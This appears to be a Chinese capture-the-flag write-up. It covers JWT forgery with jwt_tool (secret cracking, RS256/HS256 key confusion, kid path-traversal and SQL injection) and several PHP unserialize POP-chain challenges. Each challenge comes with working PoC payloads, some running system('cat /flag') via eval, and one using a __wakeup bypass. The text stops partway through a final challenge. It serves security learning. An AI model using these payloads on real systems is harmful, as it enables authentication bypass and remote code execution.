HS256 \u7b7e\u540d，\u8bd5\u8bd5\u7206\u7834\u5bc6\u94a5，\u8fd9\u91cc\u7528\u7684\u662f jwt_tool \u3002<\/p>\n
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.2s6Ssv1pE5dLPJUWfaVI2apGc2nNC3jAhydYOrwOrMw -C -d rockyou.txt<\/p>\n
\u7ed3\u679c\u662f secret ，\u7136\u540e\u6539\u6210 admin ，\u518d\u8bbf\u95ee\u3002<\/p>\n
RS256 \u7b7e\u540d，\u8fd8\u6cc4\u9732\u4e86\u516c\u94a5，\u8bd5\u8bd5\u6df7\u6dc6\u653b\u51fb，\u53ef\u4ee5\u767b\u5f55，\u63a5\u7740\u6539\u6210 admin ，\u518d\u8bbf\u95ee\u3002<\/p>\n
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.F6b5fGPpMcQgH70-Xv_RMwWSczMvZVPxdE8KKkQ2p_VqdkqFcS5shV9BGGQGC7Nu4c3tgV0kTrhVL40VvNzt_PjJUUZ2x7zA6h_jnDjRcMugcujtOmhIXARK2rVPWiN2dYPc69W78fgop6gWfUYcmShCTIZcZKWnKQdd6N6h-lw -X k -pk pubkey.pem -I -pc username -pv admin -pc role -pv admin<\/p>\n
\u8fd9\u9053\u9898\u6709 kid ，\u53ef\u4ee5\u5c1d\u8bd5\u6ce8\u5165，\u5e38\u7528\u7684\u6709\/dev\/null ，\u8fd9\u4e2a\u662f linux \u7684\u9ed1\u6d1e\u6587\u4ef6，\u8bfb\u51fa\u6765\u7684\u90fd\u662f\u7a7a\u5b57\u7b26\u4e32，\u7136\u540e\u7a7a\u5bc6\u94a5\u7b7e\u540d\u3002<\/p>\n
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.Z_o4MZ1tNK0QiwL9796EZFfl_qCgk5tsp2U5xyCjNMo -I -hc kid -hv "..\/..\/..\/..\/..\/..\/..\/dev\/null" -pc role -pv admin -pc username -pv admin -S hs256 -p ""<\/p>\n
\u8fd9\u9053\u9898\u5176\u5b9e\u8fd8\u6709\u4e00\u4e2a\u89e3，\u76ee\u5f55\/keys\/key1 \u76f4\u63a5\u5c31\u80fd\u62ff\u5230\u5bc6\u94a5，\u7136\u540e\u4f2a\u9020\u3002<\/p>\n
\u8fd8\u662f kid ，\u4f46\u662f\u4e0a\u4e00\u9898\u7684\u4e0d\u884c\u4e86，\u8bd5\u8bd5 SQL \u6ce8\u5165，\u8fd9\u4e2a\u53ef\u4ee5\u3002<\/p>\n
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Im1haW4ta2V5In0.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.anb993R-z77NqeNWoonCWs9JF8HcF0ka2keD07ukh9c -I -hc kid -hv "' union select 'secret' — " -pc role -pv admin -pc username -pv admin -S hs256 -p "secret"<\/p>\n
$flag = file_get_contents("\/flag");
\nclass ShowFlag {
\npublic $show = false;
\npublic function __destruct() {
\nif ($this->show) {
\necho $GLOBALS['flag'];
\n}
\n}
\n}
\nhighlight_file(FILE);
\nif (isset($_GET['data'])) {
\nunserialize($_GET['data']);
\n}
\n?><\/p>\n
\u4ee4$this->show\u4e3atrue\u5373\u53ef\u3002<\/p>\n
POC<\/p>\n
<?php
\nclass ShowFlag {
\n public $show = true;
\n}
\necho urlencode(serialize(new ShowFlag()));
\n?><\/p>\n
<?php
\nclass ShowFlag {
\n public $show = false;
\n public $code = "";
\n public function __destruct() {
\n if ($this->show) {
\n eval($this->code);
\n }
\n }
\n}
\nif (isset($_COOKIE["data"])) {
\n unserialize($_COOKIE["data"]);
\n}
\nhighlight_file(__FILE__);<\/p>\n
\u53ef\u4ee5\u4ee4$this->show\u4e3atrue，\u7136\u540e\u8fdb\u5165eval($this->code)，\u8fd9\u65f6\u53bb\u6539\u53d8$this->code\u7684\u503c\u8fdb\u884c\u547d\u4ee4\u6267\u884c\u3002<\/p>\n
POC<\/p>\n
<?php
\nclass ShowFlag
\n{
\n public $show = true;
\n public $code = "system('cat \/flag');";
\n}
\necho serialize(new ShowFlag());<\/p>\n
<?php
\n$flag = file_get_contents("\/flag");<\/p>\n
class Fracture {
\n public $delegate;<\/p>\n
public function __destruct() {
\n if ($this->delegate) {
\n $this->delegate->disperse();
\n }
\n }
\n}<\/p>\n
class Specter {
\n public $latch = false;<\/p>\n
public function __toString() {
\n if ($this->latch) {
\n return $GLOBALS['flag'];
\n }
\n return "no";
\n }
\n}<\/p>\n
class Thunk {
\n public $operand;<\/p>\n
public function __invoke() {
\n echo $this->operand;
\n }
\n}<\/p>\n
class Conduit {
\n public $handler;<\/p>\n
public function disperse() {
\n $f = $this->handler;
\n return $f();
\n }
\n}<\/p>\n
highlight_file(__FILE__);<\/p>\n
if (isset($_COOKIE['data'])) {
\n unserialize($_COOKIE['data']);
\n}
\n?><\/p>\n
flag \u662f\u5728 Specter::__toString() \u91cc\u8fd4\u56de\u7684，\u6240\u4ee5\u76ee\u6807\u5f88\u660e\u786e，\u5c31\u662f\u5148\u8ba9 Specter \u91cc\u7684 $latch \u53d8\u6210 true，\u518d\u60f3\u529e\u6cd5\u89e6\u53d1\u4e00\u6b21 __toString()\u3002<\/p>\n
\u5148\u770b\u5165\u53e3，Fracture::__destruct() \u4f1a\u5728\u5bf9\u8c61\u9500\u6bc1\u65f6\u6267\u884c $this->delegate->disperse()，\u6240\u4ee5\u6700\u5916\u5c42\u53ef\u4ee5\u653e\u4e00\u4e2a Fracture \u5bf9\u8c61\u3002\u63a5\u7740\u8ba9\u5b83\u7684 $delegate \u6307\u5411 Conduit，\u56e0\u4e3a Conduit::disperse() \u4f1a\u628a $this->handler \u53d6\u51fa\u6765\u8d4b\u7ed9 $f，\u7136\u540e\u6267\u884c $f()\u3002<\/p>\n
\u8fd9\u8bf4\u660e $handler \u9700\u8981\u662f\u4e00\u4e2a\u53ef\u8c03\u7528\u5bf9\u8c61，\u6240\u4ee5\u8fd9\u91cc\u653e Thunk\u3002\u5f53\u5bf9\u8c61\u88ab\u5f53\u4f5c\u51fd\u6570\u8c03\u7528\u65f6，\u4f1a\u89e6\u53d1 Thunk::__invoke()，\u800c __invoke() \u91cc\u6709\u4e00\u884c echo $this->operand\u3002<\/p>\n
\u4e8e\u662f\u53ea\u8981\u518d\u628a Thunk \u7684 $operand \u8bbe\u6210 Specter \u5bf9\u8c61，echo \u5bf9\u8c61\u65f6\u5c31\u4f1a\u81ea\u52a8\u89e6\u53d1 Specter::__toString()\u3002\u6700\u540e\u628a Specter \u7684 $latch \u6539\u6210 true，\u6574\u6761\u5229\u7528\u94fe\u5c31\u662f Fracture::__destruct() -> Conduit::disperse() -> Thunk::__invoke() -> Specter::__toString()，\u8fd9\u6837\u5c31\u80fd\u628a flag \u6253\u51fa\u6765\u3002<\/p>\n
POC<\/p>\n
<?php
\nclass Fracture {
\n public $delegate = true;
\n}
\nclass Specter {
\n public $latch = true;
\n}
\nclass Thunk {
\n public $operand;
\n}
\nclass Conduit {
\n public $handler;
\n}
\n$f = new Fracture();
\n$s = new Specter();
\n$c = new Conduit();
\n$t = new Thunk();
\n$t->operand = $s;
\n$c->handler = $t;
\n$f->delegate = $c;<\/p>\n
echo urlencode(serialize($f));<\/p>\n
?><\/p>\n
<?php
\nclass Chrysalis {
\n public $vector;<\/p>\n
public function __wakeup() {
\n if ($this->vector) {
\n $this->vector->catalyze();
\n }
\n }<\/p>\n
public function __destruct() {
\n if ($this->vector) {
\n $this->vector->expunge();
\n }
\n }
\n}<\/p>\n
class Pulsar {
\n public $token;<\/p>\n
public function __invoke() {
\n echo $this->token;
\n }
\n}<\/p>\n
class Stratum {
\n public $binding;<\/p>\n
public function __call($name, $args) {
\n $f = $this->binding->$name;
\n return $f();
\n }
\n}<\/p>\n
class Lattice {
\n public $facet;<\/p>\n
public function expunge() {
\n if ($this->facet instanceof Sluice) {
\n $this->facet->drain();
\n }
\n }<\/p>\n
public function catalyze() {
\n if ($this->facet) {
\n $this->facet->surge();
\n }
\n }
\n}<\/p>\n
class Lexicon {
\n public $ambit;<\/p>\n
public function __get($name) {
\n return $this->ambit;
\n }
\n}<\/p>\n
class Mirage {
\n public $latch = false;
\n public $a;<\/p>\n
public function __toString() {
\n if ($this->latch) {
\n eval($this->a);
\n return '';
\n }
\n return "no";
\n }
\n}<\/p>\n
class Sluice {
\n public function drain() {
\n echo "decoy end\\\\n";
\n }
\n}<\/p>\n
highlight_file(__FILE__);<\/p>\n
if (isset($_GET['data'])) {
\n unserialize($_GET['data']);
\n}
\n?><\/p>\n
\u8fd9\u4e00\u9898\u7684\u5165\u53e3\u5728 Chrysalis::__wakeup()，\u56e0\u4e3a unserialize() \u65f6\u4f1a\u81ea\u52a8\u8c03\u7528\u5b83，\u800c\u91cc\u9762\u6267\u884c\u7684\u662f $this->vector->catalyze() \u3002\u6240\u4ee5\u6700\u5916\u5c42\u5bf9\u8c61\u53ef\u4ee5\u5148\u653e\u6210 Chrysalis ，\u8ba9\u53cd\u5e8f\u5217\u5316\u4e00\u5f00\u59cb\u5c31\u8fdb\u5165\u94fe\u5b50\u3002<\/p>\n
\u63a5\u7740\u8ba9 Chrysalis \u7684 $vector \u6307\u5411 Lattice \u3002\u5728 Lattice::catalyze() \u91cc，\u4f1a\u7ee7\u7eed\u8c03\u7528 $this->facet->surge() \u3002\u8fd9\u91cc\u5982\u679c\u628a $facet \u8bbe\u6210 Stratum，\u7531\u4e8e Stratum \u672c\u8eab\u6ca1\u6709 surge() \u8fd9\u4e2a\u65b9\u6cd5，\u5c31\u4f1a\u89e6\u53d1 Stratum::__call() \u3002<\/p>\n
Stratum::__call() \u91cc\u5148\u6267\u884c $f = $this->binding->$name \u3002\u56e0\u4e3a\u8fd9\u91cc\u8bbf\u95ee\u7684\u662f\u4e0d\u5b58\u5728\u7684\u5c5e\u6027，\u6240\u4ee5\u53ea\u8981\u628a $binding \u6307\u5411 Lexicon ，\u5c31\u4f1a\u89e6\u53d1 Lexicon::__get() ，\u5e76\u8fd4\u56de $this->ambit \u3002\u8fd9\u6837 $f \u5b9e\u9645\u4e0a\u5c31\u53d8\u6210\u4e86\u6211\u4eec\u53ef\u63a7\u7684\u5bf9\u8c61\u3002<\/p>\n
\u4e0b\u4e00\u884c\u662f return $f() ，\u8bf4\u660e $f \u9700\u8981\u80fd\u88ab\u5f53\u4f5c\u51fd\u6570\u8c03\u7528，\u6240\u4ee5\u628a Lexicon \u7684 $ambit \u8bbe\u6210 Pulsar \u3002\u5bf9\u8c61\u5f62\u5f0f\u8c03\u7528\u4f1a\u89e6\u53d1 Pulsar::__invoke() ，\u800c\u8fd9\u4e2a\u65b9\u6cd5\u91cc\u6709 echo $this->token\u3002<\/p>\n
\u8fd9\u6837\u4e00\u6765，\u518d\u628a Pulsar \u7684 $token \u8bbe\u6210 Mirage \u5bf9\u8c61，echo \u65f6\u5c31\u4f1a\u81ea\u52a8\u89e6\u53d1 Mirage::__toString()\u3002\u771f\u6b63\u7684\u5371\u9669\u70b9\u5c31\u5728\u8fd9\u91cc，\u53ea\u8981 Mirage \u7684 $latch \u4e3a true，\u5c31\u4f1a\u6267\u884c eval($this->a)\u3002<\/p>\n
\u56e0\u6b64\u6700\u540e\u53ea\u9700\u8981\u628a Mirage \u7684 $latch \u8bbe\u4e3a true，\u518d\u628a $a \u586b\u6210\u547d\u4ee4\u6267\u884c\u4ee3\u7801，\u6574\u6761\u94fe\u5b50\u5c31\u662f Chrysalis::__wakeup() -> Lattice::catalyze() -> Stratum::__call() -> Lexicon::__get() -> Pulsar::__invoke() -> Mirage::__toString() -> eval()\u3002<\/p>\n
POC<\/p>\n
<?php
\nclass Chrysalis {
\n public $vector;
\n}
\nclass Pulsar {
\n public $token;
\n}
\nclass Stratum {
\n public $binding;
\n}
\nclass Lattice {
\n public $facet;
\n}
\nclass Lexicon {
\n public $ambit;
\n}
\nclass Mirage {
\n public $latch = true;
\n public $a = "system('cat \/flag');";
\n}
\nclass Sluice {<\/p>\n
}
\n$c = new Chrysalis();
\n$p = new Pulsar();
\n$s = new Stratum();
\n$la = new Lattice();
\n$le = new Lexicon();
\n$m = new Mirage();
\n$sl = new Sluice();<\/p>\n
$p->token = $m;
\n$c->vector = $la;
\n$la->facet = $s;
\n$le->ambit = $p;
\n$s->binding = $le;
\necho urlencode(serialize($c));
\n?><\/p>\n
<?php
\nerror_reporting(0);<\/p>\n
class ObsidianSanctum {
\n public $note = "guest";
\n public $flareValue = "";
\n protected $gate = "";
\n private $echoer;<\/p>\n
public function __destruct() {
\n if (md5(md5($this->note)) == md5($this->gate)) {
\n if (isset($this->echoer)) {
\n $this->echoer->flare = $this->flareValue;
\n }
\n }
\n }
\n}<\/p>\n
class SpectralPrism {
\n public $engine;
\n public $payload;<\/p>\n
public function __set($name, $value) {
\n if ($name === "flare" && $value === "ignite") {
\n $runner = $this->engine;
\n if (is_callable($runner)) {
\n $runner($this->payload);
\n } else {
\n die("Denied.\\\\n");
\n }
\n }
\n }
\n}<\/p>\n
class RuntimeScript {
\n public function __invoke($source) {
\n if (!is_string($source)) {
\n die("Denied.\\\\n");
\n }
\n eval($source);
\n }
\n}<\/p>\n
highlight_file(__FILE__);<\/p>\n
if (isset($_GET['data'])) {
\n unserialize($_GET['data']);
\n}
\n?><\/p>\n
\u8fd9\u4e00\u9898\u7684\u89e6\u53d1\u70b9\u5728 ObsidianSanctum::__destruct()\u3002\u6790\u6784\u65f6\u4f1a\u5148\u5224\u65ad md5(md5($this->note)) == md5($this->gate)，\u53ea\u8981\u8ba9 $note = "1"，\u518d\u628a $gate \u8bbe\u6210 md5("1")，\u4e5f\u5c31\u662f c4ca4238a0b923820dcc509a6f75849b，\u8fd9\u4e2a\u6761\u4ef6\u5c31\u80fd\u6210\u7acb\u3002<\/p>\n
\u6761\u4ef6\u901a\u8fc7\u4e4b\u540e，\u4f1a\u7ee7\u7eed\u5224\u65ad isset($this->echoer)，\u7136\u540e\u6267\u884c $this->echoer->flare = $this->flareValue\u3002\u8fd9\u91cc\u7684\u5173\u952e\u662f\u539f\u7c7b\u4e2d\u7684 $echoer \u662f private，\u6240\u4ee5\u5e8f\u5217\u5316\u65f6\u4e0d\u80fd\u76f4\u63a5\u9760\u5916\u90e8\u6b63\u5e38\u8d4b\u503c，\u53ea\u80fd\u5148\u7528 public \u5360\u4f4d\u751f\u6210\u5e8f\u5217\u5316\u5b57\u7b26\u4e32，\u518d\u628a\u5c5e\u6027\u540d\u66ff\u6362\u6210\u771f\u6b63\u7684\u79c1\u6709\u5c5e\u6027\u540d \\\\0ObsidianSanctum\\\\0echoer\u3002<\/p>\n
\u63a5\u7740\u770b\u8d4b\u503c\u76ee\u6807，\u5982\u679c\u628a $echoer \u6307\u5411 SpectralPrism，\u90a3\u4e48\u7ed9\u4e0d\u5b58\u5728\u7684\u5c5e\u6027 flare \u8d4b\u503c\u65f6，\u5c31\u4f1a\u89e6\u53d1 SpectralPrism::__set()\u3002\u800c __set() \u91cc\u8981\u6c42 $name === "flare" \u4e14 $value === "ignite"，\u6240\u4ee5\u628a ObsidianSanctum \u7684 $flareValue \u8bbe\u6210 ignite \u5373\u53ef\u8fdb\u5165\u540e\u7eed\u903b\u8f91\u3002<\/p>\n
\u8fdb\u5165 __set() \u540e，\u4ee3\u7801\u4f1a\u53d6\u51fa $this->engine \u8d4b\u7ed9 $runner，\u5e76\u68c0\u67e5 is_callable($runner)\u3002\u56e0\u6b64\u8fd9\u91cc\u8ba9 SpectralPrism \u7684 $engine \u6307\u5411 RuntimeScript \u5bf9\u8c61，\u5c31\u80fd\u5728\u540e\u9762\u7684 $runner($this->payload) \u91cc\u89e6\u53d1 RuntimeScript::__invoke()\u3002<\/p>\n
\u6700\u540e RuntimeScript::__invoke() \u4f1a\u5bf9\u4f20\u5165\u7684 $source \u6267\u884c eval()，\u6240\u4ee5\u53ea\u9700\u8981\u628a SpectralPrism \u7684 $payload \u8bbe\u6210\u547d\u4ee4\u6267\u884c\u4ee3\u7801\u5373\u53ef\u3002\u6574\u6761\u5229\u7528\u94fe\u5c31\u662f ObsidianSanctum::__destruct() -> SpectralPrism::__set() -> RuntimeScript::__invoke() -> eval()\u3002<\/p>\n
POC<\/p>\n
<?php
\nclass ObsidianSanctum {
\n public $note = "1";
\n public $flareValue = "ignite";
\n protected $gate = "c4ca4238a0b923820dcc509a6f75849b";
\n public $echoer;
\n}
\nclass SpectralPrism {
\n public $engine;
\n public $payload = "system('cat \/flag');";
\n}
\nclass RuntimeScript {<\/p>\n
}
\n$o = new ObsidianSanctum();
\n$s = new SpectralPrism();
\n$r = new RuntimeScript();
\n$s->engine = $r;
\n$o->echoer = $s;<\/p>\n
$data = serialize($o);
\n$data = str_replace('s:6:"echoer";', 's:23:"' . "\\\\0ObsidianSanctum\\\\0echoer" . '";', $data);
\necho urlencode($data);<\/p>\n
?><\/p>\n
<?php
\nclass ChronoVault {
\n public $memo = "guest";
\n protected $token = "none";
\n private $isAdmin = false;
\n public $bridge;<\/p>\n
public function __wakeup() {
\n $this->token = "none";
\n $this->isAdmin = false;
\n }<\/p>\n
public function __destruct() {
\n if ($this->isAdmin && $this->token === "QCCTFyyds" && isset($this->bridge)) {
\n $this->bridge->fire($this->memo);
\n }
\n }
\n}<\/p>\n
class DirectiveEngine {
\n public $sandbox;<\/p>\n
public function __invoke() {
\n return ($this->sandbox)();
\n }
\n}<\/p>\n
class EventBridge {
\n public $engine;<\/p>\n
public function __call($name, $args) {
\n return ($this->engine)();
\n }
\n}<\/p>\n
class ExecutionSandbox {
\n public $script;<\/p>\n
public function __invoke() {
\n if (preg_match("\/flag\/i", $this->script)) {
\n die("Denied.\\\\n");
\n }
\n eval($this->script);
\n }
\n}<\/p>\n
highlight_file(__FILE__);<\/p>\n
if (isset($_GET['data'])) {
\n unserialize($_GET['data']);
\n}
\n?><\/p>\n
\u8fd9\u4e00\u9898\u7684\u5173\u952e\u5361\u70b9\u5728 ChronoVault::__wakeup()\u3002\u6b63\u5e38\u60c5\u51b5\u4e0b，\u53cd\u5e8f\u5217\u5316\u65f6\u4f1a\u628a $token \u91cd\u7f6e\u6210 none，\u518d\u628a $isAdmin \u91cd\u7f6e\u6210 false，\u8fd9\u6837\u6790\u6784\u65f6\u7684\u6761\u4ef6\u5c31\u6c38\u8fdc\u8fdb\u4e0d\u53bb\u3002<\/p>\n
\u4f46\u9898\u76ee\u73af\u5883\u662f\u8001\u7248\u672c PHP，\u53ef\u4ee5\u5229\u7528 CVE-2016-7124 \u8fd9\u4e00\u7c7b __wakeup() \u7ed5\u8fc7\u3002\u505a\u6cd5\u5c31\u662f\u5148\u6b63\u5e38\u6784\u9020\u5bf9\u8c61，\u518d\u628a\u5e8f\u5217\u5316\u7ed3\u679c\u91cc ChronoVault \u7684\u5c5e\u6027\u6570\u91cf\u4ece\u771f\u5b9e\u7684 4 \u6539\u6210\u66f4\u5927\u7684\u503c，\u8ba9 unserialize() \u65f6\u8df3\u8fc7 __wakeup()，\u8fd9\u6837\u6211\u4eec\u4f2a\u9020\u8fdb\u53bb\u7684 $token \u548c $isAdmin \u5c31\u80fd\u4fdd\u7559\u4e0b\u6765\u3002<\/p>\n
\u6761\u4ef6\u4fdd\u4f4f\u4e4b\u540e，ChronoVault::__destruct() \u4f1a\u6267\u884c $this->bridge->fire($this->memo)\u3002EventBridge \u91cc\u5e76\u6ca1\u6709 fire() \u8fd9\u4e2a\u65b9\u6cd5，\u6240\u4ee5\u8fd9\u91cc\u4f1a\u81ea\u52a8\u89e6\u53d1 EventBridge::__call()，\u800c __call() \u91cc\u76f4\u63a5\u6267\u884c\u7684\u662f ($this->engine)()\u3002<\/p>\n
\u8fd9\u8bf4\u660e engine \u53ea\u9700\u8981\u662f\u4e00\u4e2a\u53ef\u8c03\u7528\u5bf9\u8c61\u5373\u53ef，\u56e0\u6b64\u6700\u77ed\u94fe\u5c31\u662f\u8ba9 EventBridge \u7684 $engine \u76f4\u63a5\u6307\u5411 ExecutionSandbox\u3002\u56e0\u4e3a ExecutionSandbox \u672c\u8eab\u5b9e\u73b0\u4e86 __invoke()，\u6240\u4ee5\u5bf9\u8c61\u51fd\u6570\u8c03\u7528\u65f6\u4f1a\u76f4\u63a5\u8fdb\u5165 ExecutionSandbox::__invoke()\u3002<\/p>\n
\u6700\u540e\u7684\u5229\u7528\u70b9\u5c31\u5728 ExecutionSandbox::__invoke() \u91cc\u7684 eval($this->script)\u3002\u867d\u7136\u4ee3\u7801\u4f1a\u7528 preg_match("\/flag\/i", $this->script) \u8fc7\u6ee4\u6389\u76f4\u63a5\u51fa\u73b0\u7684 flag，\u4f46\u8fd9\u9898\u5b9e\u9645\u4e0d\u9700\u8981\u547d\u4ee4\u6267\u884c\u53bb\u8bfb\u6587\u4ef6，\u56e0\u4e3a flag \u5c31\u5728 phpinfo() \u7684\u8f93\u51fa\u91cc，\u6240\u4ee5\u628a $script \u8bbe\u6210 phpinfo(); \u5373\u53ef\u3002<\/p>\n
\u6574\u6761\u94fe\u5b50\u5c31\u662f：\u7ed5\u8fc7 ChronoVault::__wakeup()，\u4fdd\u7559\u4f2a\u9020\u7684 $token \u548c $isAdmin，\u7136\u540e\u5728 ChronoVault::__destruct() \u91cc\u89e6\u53d1 EventBridge::__call()，\u518d\u8fdb\u5165 ExecutionSandbox::__invoke()，\u6700\u7ec8\u901a\u8fc7 eval() \u6267\u884c phpinfo();\u3002<\/p>\n
POC<\/p>\n
<?php
\nclass ChronoVault {
\n public $memo = "guest";
\n protected $token = "QCCTFyyds";
\n private $isAdmin = true;
\n public $bridge;
\n}
\nclass EventBridge {
\n public $engine;
\n}
\nclass ExecutionSandbox {
\n public $script = "phpinfo();";
\n}<\/p>\n
$o = new ChronoVault();
\n$b = new EventBridge();
\n$s = new ExecutionSandbox();<\/p>\n
$b->engine = $s;
\n$o->bridge = $b;<\/p>\n
$data = serialize($o);
\n$data = preg_replace('\/^O:\\\\d+:"ChronoVault":4:\/', 'O:11:"ChronoVault":5:', $data);
\necho urlencode($data);
\n?><\/p>\n
<?php
\n\/\/\u7ecf\u5e38\u505a\u590d\u6742\u7684\u94fe\u5b50\u5bf9\u8eab\u4f53\u4e0d\u597d，\u6211\u4eec\u6765\u4e2a\u7b80\u5355\u7684\u5427
\n$flag = file_get_contents("\/flag");<\/p>\n
class A {
\n public $obj;<\/p>\n
public function __destruct() {
\n if (is_object($this->obj)) {
\n echo $this->obj;
\n }
\n }
\n}<\/p>\n
class B {
\n public $data;<\/p>\n
public function __toString() {
\n return $this->data->run();
\n }
\n}<\/p>\n
class C {
\n public $qcctf = "nope";<\/p>\n
public function run() {
\n if ($this->qcctf === "get_flag") {
\n return $GLOBALS['flag'];
\n }
\n return "";
\n }
\n}<\/p>\n
highlight_file(__FILE__);<\/p>\n
if (isset($_GET['data'])) {
\n $data = str_replace("flag", "", $_GET['data']);
\n @unserialize($data);
\n}
\n?><\/p>\n
\u8fd9\u4e00\u9898\u7684\u94fe\u5b50\u975e\u5e38\u77ed，\u5165\u53e3\u5c31\u5728 A::__destruct()\u3002\u5bf9\u8c61\u9500\u6bc1\u65f6，\u5982\u679c $obj \u8fd8\u662f\u4e00\u4e2a\u5bf9\u8c61，\u5c31\u4f1a\u6267\u884c echo $this->obj，\u800c echo \u5bf9\u8c61\u65f6\u4f1a\u81ea\u52a8\u89e6\u53d1 __toString()\u3002<\/p>\n
\u6240\u4ee5\u7b2c\u4e00\u6b65\u5c31\u662f\u8ba9 A \u7684 $obj \u6307\u5411 B\u3002\u8fd9\u6837\u5728 A::__destruct() \u91cc\u8f93\u51fa B \u5bf9\u8c61\u65f6，\u5c31\u4f1a\u8fdb\u5165 B::__toString()\u3002\u800c B::__toString() \u91cc\u76f4\u63a5\u8c03\u7528\u7684\u662f $this->data->run()，\u56e0\u6b64\u518d\u8ba9 B \u7684 $data \u6307\u5411 C \u5bf9\u8c61，\u5c31\u80fd\u7ee7\u7eed\u8fdb\u5165 C::run()\u3002<\/p>\n
\u771f\u6b63\u8fd4\u56de flag \u7684\u6761\u4ef6\u5728 C::run() \u91cc，\u53ea\u6709\u5f53 $qcctf === "get_flag" \u65f6，\u624d\u4f1a\u8fd4\u56de $GLOBALS['flag']\u3002\u5982\u679c\u76f4\u63a5\u628a\u8fd9\u4e2a\u503c\u5199\u6210 get_flag，\u4f20\u53c2\u65f6\u4f1a\u88ab\u5916\u5c42\u7684 str_replace("flag", "", $_GET['data']) \u5220\u6389，\u5bfc\u81f4\u53cd\u5e8f\u5217\u5316\u540e\u7684\u5c5e\u6027\u503c\u4e0d\u5bf9\u3002<\/p>\n
\u4e0d\u8fc7\u8fd9\u91cc\u7684\u8fc7\u6ee4\u53d1\u751f\u5728 unserialize() \u4e4b\u524d，\u6240\u4ee5\u53ef\u4ee5\u53cd\u8fc7\u6765\u5229\u7528\u8fd9\u4e00\u70b9\u3002\u53ea\u8981\u5148\u628a\u5e8f\u5217\u5316\u4e32\u91cc\u7684 get_flag \u66ff\u6362\u6210 get_flflagag，\u670d\u52a1\u7aef\u5728\u6267\u884c str_replace("flag", "", $_GET['data']) \u4e4b\u540e，\u5c31\u4f1a\u628a\u4e2d\u95f4\u90a3\u6bb5 flag \u5220\u6389，\u6700\u7ec8\u8fd8\u539f\u6210\u771f\u6b63\u60f3\u8981\u7684 get_flag\u3002<\/p>\n
\u8fd9\u6837\u4e00\u6765，\u6574\u6761\u94fe\u5b50\u5c31\u662f A::__destruct() -> B::__toString() -> C::run()，\u540c\u65f6\u5229\u7528\u524d\u7f6e\u7684\u5b57\u7b26\u4e32\u66ff\u6362\u628a $qcctf \u4fee\u6b63\u56de get_flag，\u6700\u540e\u5c31\u80fd\u6b63\u5e38\u62ff\u5230 flag\u3002<\/p>\n
POC<\/p>\n
<?php
\nclass A {
\n public $obj;
\n}<\/p>\n
class B {
\n public $data;
\n}<\/p>\n
class C {
\n public $qcctf = "get_flag";
\n}<\/p>\n
$a = new A();
\n$b = new B();
\n$c = new C();
\n$b->data = $c;
\n$a->obj = $b;
\n$poc = serialize($a);
\n$data = str_replace("flag","flflagag" , $poc);
\necho $data;<\/p>\n
?><\/p>\n
<?php
\nclass Vault {
\n public $name;
\n protected $id;
\n private $age;<\/p>\n
public function setAge($age) {
\n $this->age = $age;
\n }<\/p>\n
public function getAge() {
\n return $this->age;
\n }<\/p>\n
public function __invoke($id) {
\n $name = $this->id;
\n $name->name = $id;
\n $name->age = $this->name;
\n }
\n}<\/p>\n
class VaultA extends Vault {
\n public function __destruct() {
\n echo file_get_contents('\/secret.txt');
\n }
\n}<\/p>\n
class VaultB extends Vault {
\n public function __set($key, $value) {
\n $this->name = $value;
\n }
\n}<\/p>\n
class VaultC extends Vault {
\n public function __check($age) {
\n $mix = serialize([$this->getAge(), $this->name]);
\n if (stripos($mix, "flag") !== false) {
\n die("Hacker!");
\n }
\n }<\/p>\n
public function __wakeup() {
\n $age = $this->getAge();
\n $name = $this->id;
\n $name->setAge($age);
\n $name($this);
\n }
\n}<\/p>\n
class VaultD extends Vault {
\n public $token = "none";<\/p>\n
public function __invoke($obj) {
\n if (isset($obj->token) && $obj->token === "QCCTFyyds") {
\n if (is_string($obj->name) && stripos($obj->name, "flag") === false) {
\n eval($obj->name);
\n }
\n }
\n }
\n}<\/p>\n
function is_printable($s) {
\n for ($i = 0; $i < strlen($s); $i++) {
\n if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) {
\n return false;
\n }
\n }
\n return true;
\n}<\/p>\n
highlight_file(__FILE__);<\/p>\n
if (isset($_GET['data'])) {
\n $data = $_GET['data'];
\n if (!is_printable($data)) {
\n die("Nope");
\n }
\n $obj = @unserialize($data);
\n if (!($obj instanceof VaultC)) {
\n die("Nope");
\n }
\n}
\n?><\/p>\n
\u8fd9\u4e00\u9898\u5148\u770b\u5bf9\u53ef\u63a7 GET \u53d8\u91cf data \u7684\u9650\u5236\u3002\u7b2c\u4e00\u5c42\u9650\u5236\u662f：<\/p>\n
$data = $_GET['data'];
\nif (!is_printable($data)) {
\n die("Nope");
\n}<\/p>\n
is_printable() \u4f1a\u9010\u5b57\u8282\u68c0\u67e5\u4f20\u5165\u5b57\u7b26\u4e32，\u8981\u6c42\u6240\u6709\u5b57\u7b26\u90fd\u843d\u5728 ASCII 32 \u5230 125 \u4e4b\u95f4\u3002\u95ee\u9898\u5728\u4e8e，PHP \u5e8f\u5217\u5316 protected \u548c private \u5c5e\u6027\u65f6，\u4f1a\u81ea\u52a8\u5728\u5c5e\u6027\u540d\u91cc\u63d2\u5165\u4e0d\u53ef\u89c1\u7684\u7a7a\u5b57\u8282 \\\\x00\u3002\u8fd9\u4e2a\u5b57\u7b26\u7684 ASCII \u662f 0，\u663e\u7136\u8fc7\u4e0d\u4e86 is_printable()\u3002<\/p>\n
